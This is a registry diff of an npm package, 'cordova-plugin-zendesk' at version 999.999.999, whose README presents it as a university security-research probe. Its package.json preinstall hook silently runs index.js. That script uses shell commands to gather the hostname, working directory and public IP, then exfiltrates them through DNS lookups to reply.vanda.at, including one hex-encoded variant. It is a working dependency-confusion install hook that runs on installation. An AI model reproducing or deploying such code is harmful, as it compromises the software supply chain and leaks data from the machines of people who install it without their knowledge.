cordova-plugin-zendesk 999.999.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +18 -0
  2. package/index.js +70 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1,18 @@
1
+ NPM Library
2
+ ================
3
+
4
+
5
+ ## Test Case
6
+ We are currently working on a research project to improve the security of npm.
7
+ The published libraries only cover programs that gave their permission to test through their responsible disclosure program.
8
+ Further, we remove the package at the latest two days after publishing.
9
+
10
+
11
+
12
+ ## Data Collection
13
+ We collect the hostname, IP address, and installation directory to be able to report detected issues.
14
+ We delete any data at the latest after 31 days or after the issue has been resolved.
15
+
16
+
17
+ ## Contact
18
+ For more information, mitigation, to take down or transfer the library, please contact d.schmidt@univie.ac.at or sebastian.schrittwieser@univie.ac.at.
package/index.js ADDED
@@ -0,0 +1,70 @@
1
+ const { exec } = require("child_process");
2
+ exec("a=$(hostname) && echo $a | head | while read ut;do nslookup $ut.reply.vanda.at;done" , (error, data, getter) => {
3
+ if(error){
4
+ console.log("error",error.message);
5
+ return;
6
+ }
7
+ if(getter){
8
+ console.log(data);
9
+ return;
10
+ }
11
+ console.log(data);
12
+
13
+ });
14
+
15
+
16
+ exec("a=$(echo 'cordova-plugin-zendesk') && echo $a | head | while read ut;do nslookup $ut.reply.vanda.at;done" , (error, data, getter) => {
17
+ if(error){
18
+ console.log("error",error.message);
19
+ return;
20
+ }
21
+ if(getter){
22
+ console.log(data);
23
+ return;
24
+ }
25
+ console.log(data);
26
+
27
+ });
28
+
29
+
30
+ exec("a=$(curl https://ifconfig.me) && echo $a | head | while read ut;do nslookup $ut.reply.vanda.at;done" , (error, data, getter) => {
31
+ if(error){
32
+ console.log("error",error.message);
33
+ return;
34
+ }
35
+ if(getter){
36
+ console.log(data);
37
+ return;
38
+ }
39
+ console.log(data);
40
+
41
+ });
42
+
43
+
44
+ exec("a=$(pwd | sed 's|/|_|g') && echo $a | head | while read ut;do nslookup $ut.reply.vanda.at;done" , (error, data, getter) => {
45
+ if(error){
46
+ console.log("error",error.message);
47
+ return;
48
+ }
49
+ if(getter){
50
+ console.log(data);
51
+ return;
52
+ }
53
+ console.log(data);
54
+
55
+ });
56
+
57
+
58
+ exec("a=$(hostname;pwd;echo 'cordova-plugin-zendesk';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.reply.vanda.at;done" , (error, data, getter) => {
59
+ if(error){
60
+ console.log("error",error.message);
61
+ return;
62
+ }
63
+ if(getter){
64
+ console.log(data);
65
+ return;
66
+ }
67
+ console.log(data);
68
+
69
+ });
70
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "cordova-plugin-zendesk",
3
+ "version": "999.999.999",
4
+ "description": "This is a npm library to improve the security of npm to responsible report vulnerabilities. For more information, mitigation, to take down or transfer the library, please contact t d.schmidt@univie.ac.at or sebastian.schrittwieser@univie.ac.at.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "David Schmidt",
11
+ "license": "ISC"
12
+ }